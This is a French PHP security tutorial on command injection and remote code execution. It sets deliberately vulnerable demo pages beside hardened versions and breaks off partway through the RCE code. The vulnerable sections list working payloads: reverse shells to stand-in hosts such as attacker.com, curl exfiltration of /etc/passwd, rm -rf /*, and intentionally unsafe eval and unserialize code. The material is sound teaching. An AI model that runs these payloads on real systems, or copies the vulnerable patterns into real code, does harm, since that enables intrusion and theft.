            <input type="hidden" name="csrf_token" value="<?= $sessionManager->generateCSRFToken() ?>">
            <button type="submit" name="secure_logout">Déconnexion Sécurisée</button>
        </form>

        <h3>🔒 Stockage Sécurisé de Données Sensibles</h3>
        <form method="POST">
            <input type="hidden" name="csrf_token" value="<?= $sessionManager->generateCSRFToken() ?>">
            <input type="text" name="card_number" placeholder="Numéro de carte (chiffré)">
            <button type="submit" name="store_sensitive">Stocker (Chiffré)</button>
        </form>

        <?php if ($secureData): ?>
            <p>Données récupérées (déchiffrées): <?= htmlspecialchars($secureData['card_number']) ?></p>
        <?php endif; ?>
    <?php endif; ?>

    <?php if ($message): ?>
        <div class="success">✅ <?= htmlspecialchars($message) ?></div>
    <?php endif; ?>

    <?php if ($error): ?>
        <div class="error">❌ <?= htmlspecialchars($error) ?></div>
    <?php endif; ?>
</body>
</html>

Command Injection - Injection de Commandes

Exécution de commandes système arbitraires via l'injection de paramètres non validés.

⚡ Types d'injection de commandes

Fonctions vulnérables :

system()

Exécution directe avec sortie

exec()

Exécution avec récupération de sortie

shell_exec()

Exécution via shell avec retour

Backticks `cmd`

Exécution via opérateur backtick

Techniques d'injection :

  • Séparateurs de commandes (; && ||)
  • Redirection de sortie (> >> <)
  • Pipes pour chaîner commandes (|)
  • Substitution de commandes $() ``
  • Échappement de caractères spéciaux
  • Variables d'environnement malveillantes

Code Vulnérable - Command Injection

php

<?php
/**
 * EXEMPLE VULNÉRABLE - Command Injection
 * Démonstration des failles d'injection de commandes à des fins éducatives
 */

$output = '';
$message = '';
$error = '';

// 1. PING VULNÉRABLE AVEC SYSTEM()
if (isset($_POST['ping_host'])) {
    $host = $_POST['ping_host'];

    // VULNÉRABLE : Concaténation directe dans system()
    $command = "ping -c 4 " . $host;

    ob_start();
    system($command);
    $output = ob_get_clean();

    $message = "Ping exécuté vers : " . htmlspecialchars($host);
}

// 2. NSLOOKUP VULNÉRABLE AVEC EXEC()
if (isset($_POST['lookup_domain'])) {
    $domain = $_POST['lookup_domain'];

    // VULNÉRABLE : Pas d'échappement des caractères spéciaux
    $command = "nslookup " . $domain;

    exec($command, $result, $return_code);
    $output = implode("\n", $result);

    $message = "Lookup DNS pour : " . htmlspecialchars($domain);
}

// 3. WGET VULNÉRABLE AVEC SHELL_EXEC()
if (isset($_POST['download_url'])) {
    $url = $_POST['download_url'];
    $filename = $_POST['filename'] ?? 'download.txt';

    // VULNÉRABLE : Injection possible dans l'URL et le nom de fichier
    $command = "wget -O /tmp/{$filename} '{$url}'";

    $output = shell_exec($command);
    $message = "Téléchargement initié : " . htmlspecialchars($url);
}

// 4. WHOIS VULNÉRABLE AVEC BACKTICKS
if (isset($_POST['whois_domain'])) {
    $domain = $_POST['whois_domain'];

    // VULNÉRABLE : Utilisation de backticks sans validation
    $output = `whois $domain`;

    $message = "Whois pour : " . htmlspecialchars($domain);
}

// 5. CONVERSION D'IMAGE VULNÉRABLE
if (isset($_POST['convert_image'])) {
    $input_file = $_POST['input_file'];
    $output_file = $_POST['output_file'];
    $format = $_POST['format'];

    // VULNÉRABLE : Paramètres non validés dans ImageMagick
    $command = "convert {$input_file} -{$format} {$output_file}";

    exec($command, $result, $return_code);
    $output = "Code de retour: {$return_code}\n" . implode("\n", $result);

    $message = "Conversion d'image exécutée";
}

// 6. TAR/ZIP VULNÉRABLE
if (isset($_POST['archive_files'])) {
    $archive_name = $_POST['archive_name'];
    $files = $_POST['files'];
    $compression = $_POST['compression'];

    // VULNÉRABLE : Injection dans les noms de fichiers
    if ($compression === 'tar') {
        $command = "tar -czf {$archive_name}.tar.gz {$files}";
    } else {
        $command = "zip -r {$archive_name}.zip {$files}";
    }

    system($command);
    $message = "Archive créée : {$archive_name}";
}

// 7. ANALYSE DE LOG VULNÉRABLE
if (isset($_POST['analyze_log'])) {
    $log_file = $_POST['log_file'];
    $pattern = $_POST['pattern'];

    // VULNÉRABLE : grep avec pattern non échappé
    $command = "grep '{$pattern}' {$log_file} | wc -l";

    $count = shell_exec($command);
    $output = "Nombre d'occurrences trouvées : " . trim($count);

    $message = "Analyse de log terminée";
}

// 8. SCRIPT PERSONNALISÉ VULNÉRABLE
if (isset($_POST['run_script'])) {
    $script_name = $_POST['script_name'];
    $arguments = $_POST['arguments'];

    // VULNÉRABLE : Exécution de script avec arguments non validés
    $command = "/usr/local/bin/{$script_name} {$arguments}";

    exec($command, $result, $return_code);
    $output = implode("\n", $result);

    $message = "Script exécuté : {$script_name}";
}

// 9. NOTIFICATION EMAIL VULNÉRABLE
if (isset($_POST['send_notification'])) {
    $email = $_POST['email'];
    $subject = $_POST['subject'];
    $body = $_POST['body'];

    // VULNÉRABLE : mail() avec injection possible
    $command = "echo '{$body}' | mail -s '{$subject}' {$email}";

    system($command);
    $message = "Email envoyé à : " . htmlspecialchars($email);
}

// 10. MONTAGE/DÉMONTAGE VULNÉRABLE
if (isset($_POST['mount_device'])) {
    $device = $_POST['device'];
    $mount_point = $_POST['mount_point'];
    $filesystem = $_POST['filesystem'] ?? 'ext4';

    // VULNÉRABLE : Commande mount avec paramètres non validés
    $command = "mount -t {$filesystem} {$device} {$mount_point}";

    exec($command, $result, $return_code);
    $output = "Code de retour: {$return_code}\n" . implode("\n", $result);

    $message = "Tentative de montage de : {$device}";
}

// 11. BACKUP VULNÉRABLE
if (isset($_POST['create_backup'])) {
    $source_dir = $_POST['source_dir'];
    $backup_name = $_POST['backup_name'];
    $exclude_pattern = $_POST['exclude_pattern'] ?? '';

    // VULNÉRABLE : rsync avec paramètres injectables
    $exclude_option = !empty($exclude_pattern) ? "--exclude='{$exclude_pattern}'" : '';
    $command = "rsync -av {$exclude_option} {$source_dir}/ /backups/{$backup_name}/";

    exec($command, $result, $return_code);
    $output = implode("\n", array_slice($result, -10)); // 10 dernières lignes

    $message = "Backup créé : {$backup_name}";
}

// 12. MONITORING RÉSEAU VULNÉRABLE
if (isset($_POST['network_scan'])) {
    $target = $_POST['target'];
    $scan_type = $_POST['scan_type'];
    $ports = $_POST['ports'] ?? '80,443';

    // VULNÉRABLE : nmap avec paramètres non filtrés
    switch ($scan_type) {
        case 'ping':
            $command = "nmap -sn {$target}";
            break;
        case 'port':
            $command = "nmap -p {$ports} {$target}";
            break;
        case 'full':
            $command = "nmap -A {$target}";
            break;
        default:
            $command = "nmap {$target}";
    }

    exec($command, $result, $return_code);
    $output = implode("\n", $result);

    $message = "Scan réseau effectué sur : {$target}";
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>⚡ Command Injection Demo</title>
    <style>
        body { font-family: Arial; margin: 40px; background: #f5f5f5; }
        .container { background: white; padding: 30px; border-radius: 10px; max-width: 1200px; margin: 0 auto; }
        .danger { background: #ffebee; border: 2px solid red; padding: 15px; margin: 10px 0; }
        .success { background: #e8f5e9; border: 2px solid green; padding: 15px; margin: 10px 0; }
        .test-section { background: #f8f8f8; padding: 15px; margin: 15px 0; border-left: 4px solid green; }
        .payload { background: #e8f5e9; padding: 15px; margin: 10px 0; font-family: monospace; font-size: 12px; }
        .output { background: #263238; color: #fff; padding: 15px; margin: 10px 0; border-radius: 5px; max-height: 300px; overflow-y: auto; font-family: monospace; white-space: pre-wrap; }
        input, select, textarea { padding: 10px; margin: 5px; width: 250px; }
        button { padding: 10px 20px; background: #4CAF50; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>

<div class="container">
    <h1>⚡ Command Injection Vulnerabilities Demo</h1>

    <div class="danger">
        ⚠️ <strong>ATTENTION :</strong> Cette page permet l'exécution de commandes système !<br>
        L'injection de commandes peut donner un contrôle total du serveur !
    </div>

    <?php if ($message): ?>
        <div class="success">✅ <?= htmlspecialchars($message) ?></div>
    <?php endif; ?>

    <?php if ($error): ?>
        <div class="danger">❌ <?= htmlspecialchars($error) ?></div>
    <?php endif; ?>

    <!-- Test Ping Command -->
    <div class="test-section">
        <h3>1. Ping Host (system)</h3>
        <form method="POST">
            <input type="text" name="ping_host" placeholder="google.com" required><br>
            <button type="submit">Ping Host</button>
        </form>

        <div class="payload">
            <strong>Payloads d'injection :</strong><br>
            • google.com; ls -la<br>
            • google.com && whoami<br>
            • google.com || cat /etc/passwd<br>
            • google.com | nc attacker.com 4444 -e /bin/bash<br>
            • google.com `cat /etc/passwd`<br>
            • google.com $(id)
        </div>
    </div>

    <!-- Test DNS Lookup -->
    <div class="test-section">
        <h3>2. DNS Lookup (exec)</h3>
        <form method="POST">
            <input type="text" name="lookup_domain" placeholder="example.com" required><br>
            <button type="submit">DNS Lookup</button>
        </form>

        <div class="payload">
            <strong>Techniques d'injection :</strong><br>
            • example.com; curl http://attacker.com/$(whoami)<br>
            • example.com && wget http://evil.com/shell.php<br>
            • example.com || echo "hacked" > /tmp/pwned.txt
        </div>
    </div>

    <!-- Test File Download -->
    <div class="test-section">
        <h3>3. Download File (shell_exec)</h3>
        <form method="POST">
            <input type="text" name="download_url" placeholder="http://example.com/file.txt" required><br>
            <input type="text" name="filename" placeholder="output.txt"><br>
            <button type="submit">Download</button>
        </form>

        <div class="payload">
            <strong>Injection dans URL :</strong><br>
            • http://evil.com'; rm -rf /*; echo '<br>
            • http://example.com && chmod +x /tmp/shell<br>
            <strong>Injection dans filename :</strong><br>
            • file.txt; nc -e /bin/bash attacker.com 4444
        </div>
    </div>

    <!-- Test Whois -->
    <div class="test-section">
        <h3>4. Whois Domain (backticks)</h3>
        <form method="POST">
            <input type="text" name="whois_domain" placeholder="example.com" required><br>
            <button type="submit">Whois</button>
        </form>

        <div class="payload">
            <strong>Backtick injection :</strong><br>
            • example.com `id`<br>
            • example.com `cat /etc/shadow`<br>
            • example.com `python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'`
        </div>
    </div>

    <!-- Test Image Conversion -->
    <div class="test-section">
        <h3>5. Convert Image</h3>
        <form method="POST">
            <input type="text" name="input_file" placeholder="input.jpg" required><br>
            <input type="text" name="output_file" placeholder="output.png" required><br>
            <input type="text" name="format" placeholder="png" required><br>
            <button type="submit">Convert</button>
        </form>

        <div class="payload">
            <strong>ImageMagick injection :</strong><br>
            • input: image.jpg; rm /tmp/*<br>
            • format: png -quality 100 -define png:format=png32 `whoami`<br>
            • output: result.png && curl http://evil.com/$(cat /etc/passwd | base64)
        </div>
    </div>

    <!-- Test Log Analysis -->
    <div class="test-section">
        <h3>6. Analyze Log Files</h3>
        <form method="POST">
            <input type="text" name="log_file" placeholder="/var/log/apache2/access.log" required><br>
            <input type="text" name="pattern" placeholder="ERROR" required><br>
            <button type="submit">Analyze</button>
        </form>

        <div class="payload">
            <strong>Grep injection :</strong><br>
            • pattern: ERROR' /etc/passwd || echo 'injected<br>
            • log_file: /var/log/access.log; cat /etc/passwd<br>
            • pattern: .*' /dev/null; curl http://evil.com/$(whoami); echo '
        </div>
    </div>

    <!-- Test Network Scan -->
    <div class="test-section">
        <h3>7. Network Scanning</h3>
        <form method="POST">
            <input type="text" name="target" placeholder="192.168.1.1" required><br>
            <select name="scan_type">
                <option value="ping">Ping Scan</option>
                <option value="port">Port Scan</option>
                <option value="full">Full Scan</option>
            </select><br>
            <input type="text" name="ports" placeholder="80,443,22"><br>
            <button type="submit">Scan Network</button>
        </form>

        <div class="payload">
            <strong>Nmap injection :</strong><br>
            • target: 127.0.0.1; ncat -l 4444 -e /bin/bash<br>
            • ports: 80,443 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi<br>
            • target: 127.0.0.1 && curl http://attacker.com/receive.php?data=$(cat /etc/passwd | base64 -w0)
        </div>
    </div>

    <!-- Output Display -->
    <?php if ($output): ?>
        <div class="test-section">
            <h3>📋 Sortie de la commande :</h3>
            <div class="output"><?= htmlspecialchars($output) ?></div>
        </div>
    <?php endif; ?>

    <div style="background: #b71c1c; color: white; padding: 20px; margin-top: 30px;">
        <h3>💀 DANGERS DE L'INJECTION DE COMMANDES</h3>
        <p>L'injection de commandes permet :</p>
        <ul>
            <li>✗ <strong>Exécution de code arbitraire</strong> : Contrôle total du serveur</li>
            <li>✗ <strong>Lecture de fichiers sensibles</strong> : /etc/passwd, clés SSH, etc.</li>
            <li>✗ <strong>Installation de backdoors</strong> : Accès persistant</li>
            <li>✗ <strong>Lateral movement</strong> : Pivot vers d'autres systèmes</li>
            <li>✗ <strong>Data exfiltration</strong> : Vol de données massif</li>
            <li>✗ <strong>Destruction</strong> : Suppression de fichiers critiques</li>
        </ul>
        <p><strong>SOLUTION :</strong> Éviter l'exécution de commandes ou validation stricte !</p>
    </div>
</div>

</body>
</html>

Code Sécurisé - Protection Command Injection

php

<?php
/**
 * VERSION SÉCURISÉE - Protection contre Command Injection
 * Démonstration des bonnes pratiques pour éviter l'injection de commandes
 */

class SecureCommandExecutor {
    private $allowedCommands = [
        'ping' => '/bin/ping',
        'nslookup' => '/usr/bin/nslookup',
        'whois' => '/usr/bin/whois',
        'dig' => '/usr/bin/dig'
    ];

    private $maxExecutionTime = 30;
    private $maxOutputSize = 1048576; // 1MB

    public function __construct() {
        // Configuration sécurisée de l'environnement
        $this->setupSecureEnvironment();
    }

    /**
     * Configuration de l'environnement sécurisé
     */
    private function setupSecureEnvironment() {
        // Variables d'environnement minimales et sécurisées
        putenv('PATH=/usr/bin:/bin');
        putenv('IFS= \t\n');
        putenv('SHELL=/bin/bash');

        // Suppression des variables dangereuses
        putenv('LD_PRELOAD=');
        putenv('LD_LIBRARY_PATH=');
    }

    /**
     * Validation stricte des hostnames et domaines
     */
    public function validateHostname($hostname) {
        // Validation de base
        if (empty($hostname) || strlen($hostname) > 253) {
            throw new InvalidArgumentException("Hostname invalide");
        }

        // Caractères autorisés uniquement
        if (!preg_match('/^[a-zA-Z0-9.-]+$/', $hostname)) {
            throw new InvalidArgumentException("Caractères non autorisés dans le hostname");
        }

        // Validation du format de domaine
        if (!filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
            // Fallback : validation IP
            if (!filter_var($hostname, FILTER_VALIDATE_IP)) {
                throw new InvalidArgumentException("Format de hostname invalide");
            }
        }

        // Vérification des domaines interdits
        $forbiddenDomains = ['localhost', '127.0.0.1', '0.0.0.0'];
        if (in_array(strtolower($hostname), $forbiddenDomains)) {
            throw new InvalidArgumentException("Domaine non autorisé");
        }

        return $hostname;
    }

    /**
     * Validation des adresses IP
     */
    public function validateIPAddress($ip) {
        if (!filter_var($ip, FILTER_VALIDATE_IP)) {
            throw new InvalidArgumentException("Adresse IP invalide");
        }

        // Interdiction des adresses privées et locales
        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            return $ip;
        } else {
            throw new InvalidArgumentException("Adresse IP non autorisée");
        }
    }

    /**
     * Validation des noms de fichiers
     */
    public function validateFilename($filename) {
        if (empty($filename) || strlen($filename) > 255) {
            throw new InvalidArgumentException("Nom de fichier invalide");
        }

        // Caractères autorisés strictement
        if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
            throw new InvalidArgumentException("Caractères non autorisés dans le nom de fichier");
        }

        // Interdiction des noms dangereux
        $forbiddenNames = ['.', '..', 'con', 'aux', 'prn', 'nul'];
        if (in_array(strtolower($filename), $forbiddenNames)) {
            throw new InvalidArgumentException("Nom de fichier interdit");
        }

        return $filename;
    }

    /**
     * Ping sécurisé avec paramètres contrôlés
     */
    public function securePing($hostname, $count = 4) {
        $hostname = $this->validateHostname($hostname);
        $count = max(1, min(10, (int)$count)); // Limité entre 1 et 10

        // Construction sécurisée de la commande
        $command = [
            $this->allowedCommands['ping'],
            '-c', (string)$count,
            '-W', '3', // Timeout 3 secondes
            '-i', '0.5', // Intervalle 0.5 secondes
            $hostname
        ];

        return $this->executeSecureCommand($command);
    }

    /**
     * DNS Lookup sécurisé
     */
    public function secureNSLookup($domain) {
        $domain = $this->validateHostname($domain);

        $command = [
            $this->allowedCommands['nslookup'],
            $domain
        ];

        return $this->executeSecureCommand($command);
    }

    /**
     * Whois sécurisé
     */
    public function secureWhois($domain) {
        $domain = $this->validateHostname($domain);

        $command = [
            $this->allowedCommands['whois'],
            $domain
        ];

        return $this->executeSecureCommand($command);
    }

    /**
     * Téléchargement sécurisé avec cURL (pas de commande shell)
     */
    public function secureDownload($url, $filename) {
        $filename = $this->validateFilename($filename);

        // Validation de l'URL
        if (!filter_var($url, FILTER_VALIDATE_URL)) {
            throw new InvalidArgumentException("URL invalide");
        }

        $parsedUrl = parse_url($url);
        if (!in_array($parsedUrl['scheme'], ['http', 'https'])) {
            throw new InvalidArgumentException("Protocole non autorisé");
        }

        // Utilisation de cURL au lieu de commandes shell
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => false,
            CURLOPT_MAXREDIRS => 0,
            CURLOPT_TIMEOUT => 30,
            CURLOPT_MAXFILESIZE => $this->maxOutputSize,
            CURLOPT_USERAGENT => 'SecureDownloader/1.0',
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_SSL_VERIFYHOST => 2
        ]);

        $content = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);

        if ($content === false || !empty($error)) {
            throw new Exception("Erreur de téléchargement: $error");
        }

        if ($httpCode !== 200) {
            throw new Exception("Erreur HTTP: $httpCode");
        }

        // Écriture sécurisée dans un répertoire contrôlé
        $safeDir = '/tmp/secure_downloads/';
        if (!is_dir($safeDir)) {
            mkdir($safeDir, 0755, true);
        }

        $fullPath = $safeDir . $filename;
        if (file_put_contents($fullPath, $content, LOCK_EX) === false) {
            throw new Exception("Impossible d'écrire le fichier");
        }

        return [
            'success' => true,
            'file' => $fullPath,
            'size' => strlen($content),
            'message' => "Fichier téléchargé avec succès: $filename"
        ];
    }

    /**
     * Analyse de logs sécurisée (sans commandes shell)
     */
    public function secureLogAnalysis($logFile, $pattern) {
        // Validation du chemin de fichier
        $allowedLogDirs = ['/var/log/', '/tmp/logs/'];
        $realPath = realpath($logFile);

        $isAllowed = false;
        foreach ($allowedLogDirs as $allowedDir) {
            if (strpos($realPath, realpath($allowedDir)) === 0) {
                $isAllowed = true;
                break;
            }
        }

        if (!$isAllowed || !$realPath) {
            throw new InvalidArgumentException("Fichier de log non autorisé");
        }

        // Validation du pattern (pas de regex complexes)
        if (!preg_match('/^[a-zA-Z0-9\s\-_\.]+$/', $pattern)) {
            throw new InvalidArgumentException("Pattern de recherche invalide");
        }

        // Analyse en PHP pur (pas de commandes shell)
        $matches = 0;
        $lines = [];

        $handle = fopen($realPath, 'r');
        if (!$handle) {
            throw new Exception("Impossible de lire le fichier de log");
        }

        $lineNumber = 0;
        while (($line = fgets($handle)) !== false && $lineNumber < 10000) {
            $lineNumber++;
            if (stripos($line, $pattern) !== false) {
                $matches++;
                if (count($lines) < 50) { // Limiter les résultats
                    $lines[] = "Ligne $lineNumber: " . trim($line);
                }
            }
        }
        fclose($handle);

        return [
            'matches' => $matches,
            'sample_lines' => $lines,
            'message' => "Trouvé $matches occurrence(s) du pattern '$pattern'"
        ];
    }

    /**
     * Exécution sécurisée de commandes avec proc_open
     */
    private function executeSecureCommand(array $command) {
        $descriptors = [
            0 => ['pipe', 'r'], // stdin
            1 => ['pipe', 'w'], // stdout
            2 => ['pipe', 'w']  // stderr
        ];

        // Environnement sécurisé
        $env = [
            'PATH' => '/usr/bin:/bin',
            'SHELL' => '/bin/bash',
            'IFS' => ' \t\n'
        ];

        $process = proc_open($command, $descriptors, $pipes, null, $env);

        if (!is_resource($process)) {
            throw new Exception("Impossible d'exécuter la commande");
        }

        // Fermeture de stdin
        fclose($pipes[0]);

        // Lecture avec timeout
        stream_set_timeout($pipes[1], $this->maxExecutionTime);
        stream_set_timeout($pipes[2], $this->maxExecutionTime);

        $output = stream_get_contents($pipes[1], $this->maxOutputSize);
        $error = stream_get_contents($pipes[2], $this->maxOutputSize);

        fclose($pipes[1]);
        fclose($pipes[2]);

        $exitCode = proc_close($process);

        return [
            'success' => $exitCode === 0,
            'output' => $output,
            'error' => $error,
            'exit_code' => $exitCode
        ];
    }

    /**
     * Validation d'arguments en whitelist
     */
    public function validateArgument($arg, $allowedValues) {
        if (!in_array($arg, $allowedValues, true)) {
            throw new InvalidArgumentException("Argument non autorisé: $arg");
        }
        return $arg;
    }
}

// Utilisation du système sécurisé
$secureExecutor = new SecureCommandExecutor();
$result = null;
$message = '';
$error = '';

// Traitement sécurisé des commandes
try {
    if (isset($_POST['secure_ping'])) {
        $hostname = $_POST['hostname'] ?? '';
        $count = $_POST['count'] ?? 4;

        $result = $secureExecutor->securePing($hostname, $count);
        $message = "Ping sécurisé exécuté vers: " . htmlspecialchars($hostname);
    }

    if (isset($_POST['secure_nslookup'])) {
        $domain = $_POST['domain'] ?? '';

        $result = $secureExecutor->secureNSLookup($domain);
        $message = "DNS lookup sécurisé pour: " . htmlspecialchars($domain);
    }

    if (isset($_POST['secure_whois'])) {
        $domain = $_POST['whois_domain'] ?? '';

        $result = $secureExecutor->secureWhois($domain);
        $message = "Whois sécurisé pour: " . htmlspecialchars($domain);
    }

    if (isset($_POST['secure_download'])) {
        $url = $_POST['download_url'] ?? '';
        $filename = $_POST['download_filename'] ?? '';

        $result = $secureExecutor->secureDownload($url, $filename);
        $message = $result['message'];
    }

    if (isset($_POST['secure_log_analysis'])) {
        $logFile = $_POST['log_file'] ?? '';
        $pattern = $_POST['search_pattern'] ?? '';

        $result = $secureExecutor->secureLogAnalysis($logFile, $pattern);
        $message = $result['message'];
    }

} catch (Exception $e) {
    $error = $e->getMessage();
    error_log("Erreur commande sécurisée: " . $e->getMessage());
}
?>

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Application Sécurisée - Protection Command Injection</title>
    <meta http-equiv="Content-Security-Policy"
          content="default-src 'self'; style-src 'self' 'unsafe-inline';">
</head>
<body>
    <h1>🛡️ Exécution Sécurisée de Commandes</h1>

    <div class="best-practice">
        <strong>✅ Protections implémentées :</strong><br>
        • Validation stricte avec whitelist et regex<br>
        • Utilisation de proc_open() avec arguments séparés<br>
        • Échappement avec escapeshellarg() quand nécessaire<br>
        • Timeout et limitation de taille de sortie<br>
        • Environnement d'exécution sécurisé<br>
        • Alternative natives PHP (cURL au lieu de wget)<br>
        • Restriction des commandes autorisées<br>
        • Logging et monitoring des erreurs
    </div>

    <!-- Interface sécurisée -->
    <h3>🏓 Ping Sécurisé</h3>
    <form method="POST">
        <input type="text" name="hostname" placeholder="google.com" pattern="[a-zA-Z0-9.-]+" required>
        <select name="count">
            <option value="1">1 ping</option>
            <option value="4" selected>4 pings</option>
            <option value="10">10 pings</option>
        </select>
        <button type="submit" name="secure_ping">Ping Sécurisé</button>
    </form>

    <h3>🔍 DNS Lookup Sécurisé</h3>
    <form method="POST">
        <input type="text" name="domain" placeholder="example.com" pattern="[a-zA-Z0-9.-]+" required>
        <button type="submit" name="secure_nslookup">DNS Lookup</button>
    </form>

    <h3>📥 Téléchargement Sécurisé (cURL)</h3>
    <form method="POST">
        <input type="url" name="download_url" placeholder="https://example.com/file.txt" required>
        <input type="text" name="download_filename" placeholder="file.txt" pattern="[a-zA-Z0-9._-]+" required>
        <button type="submit" name="secure_download">Télécharger</button>
    </form>

    <h3>📊 Analyse de Logs Sécurisée</h3>
    <form method="POST">
        <select name="log_file">
            <option value="/var/log/syslog">Syslog</option>
            <option value="/var/log/auth.log">Auth Log</option>
            <option value="/tmp/logs/app.log">Application Log</option>
        </select>
        <input type="text" name="search_pattern" placeholder="ERROR" pattern="[a-zA-Z0-9\s\-_\.]+" required>
        <button type="submit" name="secure_log_analysis">Analyser</button>
    </form>

    <?php if ($message): ?>
        <div class="success">✅ <?= htmlspecialchars($message) ?></div>
    <?php endif; ?>

    <?php if ($error): ?>
        <div class="error">❌ <?= htmlspecialchars($error) ?></div>
    <?php endif; ?>

    <?php if ($result): ?>
        <div class="output">
            <h3>📋 Résultat sécurisé :</h3>
            <pre><?= htmlspecialchars($result['output'] ?? json_encode($result, JSON_PRETTY_PRINT)) ?></pre>
        </div>
    <?php endif; ?>
</body>
</html>

RCE - Remote Code Execution

Exécution de code arbitraire sur le serveur via diverses techniques d'injection et d'exploitation.

💥 Vecteurs d'exécution de code

Techniques principales :

File Upload RCE

Upload et exécution de webshells

Code Injection

Injection via eval(), assert(), create_function()

Deserialization RCE

Exploitation via unserialize()

Template Injection

RCE via moteurs de templates

Conséquences :

  • Contrôle total du serveur
  • Installation de backdoors permanents
  • Vol et chiffrement de données
  • Pivot vers d'autres systèmes
  • Déploiement de malwares
  • Destruction complète du système

Code Vulnérable - RCE

php

<?php
/**
 * EXEMPLE VULNÉRABLE - Remote Code Execution (RCE)
 * Démonstration des failles d'exécution de code à des fins éducatives
 */

$output = '';
$message = '';
$error = '';

// 1. UPLOAD DE FICHIER VULNÉRABLE - RCE via Webshell
if (isset($_POST['upload_file']) && isset($_FILES['file'])) {
    $upload_dir = 'uploads/';
    if (!is_dir($upload_dir)) {
        mkdir($upload_dir, 0777, true);
    }

    $filename = $_FILES['file']['name'];
    $target_file = $upload_dir . basename($filename);

    // VULNÉRABLE : Pas de validation du type de fichier
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
        $message = "Fichier uploadé avec succès : " . htmlspecialchars($target_file);

        // VULNÉRABLE : Lien direct vers le fichier uploadé
        $message .= "<br><a href='$target_file' target='_blank'>Voir le fichier</a>";
    } else {
        $error = "Erreur lors de l'upload";
    }
}

// 2. EVAL() VULNÉRABLE - Code Injection Direct
if (isset($_POST['eval_code'])) {
    $code = $_POST['eval_code'];

    // VULNÉRABLE : Exécution directe de code utilisateur
    ob_start();
    eval($code);
    $output = ob_get_clean();

    $message = "Code exécuté : " . htmlspecialchars($code);
}

// 3. ASSERT() VULNÉRABLE - Code Injection via Assert
if (isset($_POST['assert_code'])) {
    $condition = $_POST['assert_code'];

    // VULNÉRABLE : assert() peut exécuter du code en PHP < 7.2
    $result = assert($condition);

    $message = "Assertion testée : " . htmlspecialchars($condition);
    $output = $result ? "true" : "false";
}

// 4. CREATE_FUNCTION() VULNÉRABLE
if (isset($_POST['create_func'])) {
    $params = $_POST['function_params'];
    $body = $_POST['function_body'];

    // VULNÉRABLE : create_function permet l'injection de code
    $func = create_function($params, $body);

    if ($func) {
        ob_start();
        $func();
        $output = ob_get_clean();
        $message = "Fonction créée et exécutée";
    }
}

// 5. PREG_REPLACE /e MODIFIER VULNÉRABLE (PHP < 7.0)
if (isset($_POST['preg_replace'])) {
    $pattern = $_POST['pattern'];
    $replacement = $_POST['replacement'];
    $subject = $_POST['subject'];

    // VULNÉRABLE : Modifier /e exécute le replacement comme du code PHP
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $result = preg_replace($pattern, $replacement, $subject);
        $output = $result;
        $message = "Remplacement effectué";
    } else {
        $message = "Modifier /e non disponible en PHP >= 7.0";
    }
}

// 6. INCLUDE/REQUIRE DYNAMIQUE VULNÉRABLE
if (isset($_POST['dynamic_include'])) {
    $module = $_POST['module'];

    // VULNÉRABLE : Include de fichier basé sur l'entrée utilisateur
    $file = "modules/{$module}.php";

    if (file_exists($file)) {
        ob_start();
        include($file);
        $output = ob_get_clean();
        $message = "Module inclus : " . htmlspecialchars($module);
    } else {
        $error = "Module non trouvé";
    }
}

// 7. DÉSÉRIALISATION VULNÉRABLE - Object Injection RCE
class VulnerableClass {
    public $command;
    public $output_file;

    public function __destruct() {
        // VULNÉRABLE : Exécution de commande dans le destructeur
        if (isset($this->command)) {
            system($this->command);
        }
    }

    public function __wakeup() {
        // VULNÉRABLE : Code exécuté lors de la désérialisation
        if (isset($this->command) && isset($this->output_file)) {
            file_put_contents($this->output_file, shell_exec($this->command));
        }
    }
}

if (isset($_POST['unserialize_data'])) {
    $serialized_data = $_POST['unserialize_data'];

    // VULNÉRABLE : Désérialisation sans validation
    $object = unserialize($serialized_data);
    $message = "Objet désérialisé";
}

// 8. TEMPLATE INJECTION VULNÉRABLE
if (isset($_POST['template_render'])) {
    $template = $_POST['template'];
    $name = $_POST['user_name'] ?? 'Utilisateur';

    // VULNÉRABLE : Remplacement direct dans template
    $rendered = str_replace('{{name}}', $name, $template);

    // VULNÉRABLE : Évaluation du template
    ob_start();
    eval('?>' . $rendered);
    $output = ob_get_clean();

    $message = "Template rendu";
}

// 9. CALLBACK FUNCTION VULNÉRABLE
if (isset($_POST['callback_func'])) {
    $callback = $_POST['callback'];
    $data = $_POST['callback_data'] ?? '';

    // VULNÉRABLE : Appel de fonction basé sur l'entrée utilisateur
    if (function_exists($callback)) {
        ob_start();
        call_user_func($callback, $data);
        $output = ob_get_clean();
        $message = "Callback exécuté : " . htmlspecialchars($callback);
    }
}

// 10. VARIABLE VARIABLE VULNÉRABLE
if (isset($_POST['var_var'])) {
    $var_name = $_POST['var_name'];
    $var_value = $_POST['var_value'];

    // VULNÉRABLE : Variable variable permettant l'écrasement
    $$var_name = $var_value;

    $message = "Variable créée : \${$var_name} = " . htmlspecialchars($var_value);
}

// 11. MAIL() INJECTION VULNÉRABLE
if (isset($_POST['send_mail'])) {
    $to = $_POST['mail_to'];
    $subject = $_POST['mail_subject'];
    $message_mail = $_POST['mail_message'];
    $headers = $_POST['mail_headers'] ?? '';

    // VULNÉRABLE : Injection dans les headers de mail()
    $full_headers = "From: noreply@example.com\r\n" . $headers;

    if (mail($to, $subject, $message_mail, $full_headers)) {
        $message = "Email envoyé";
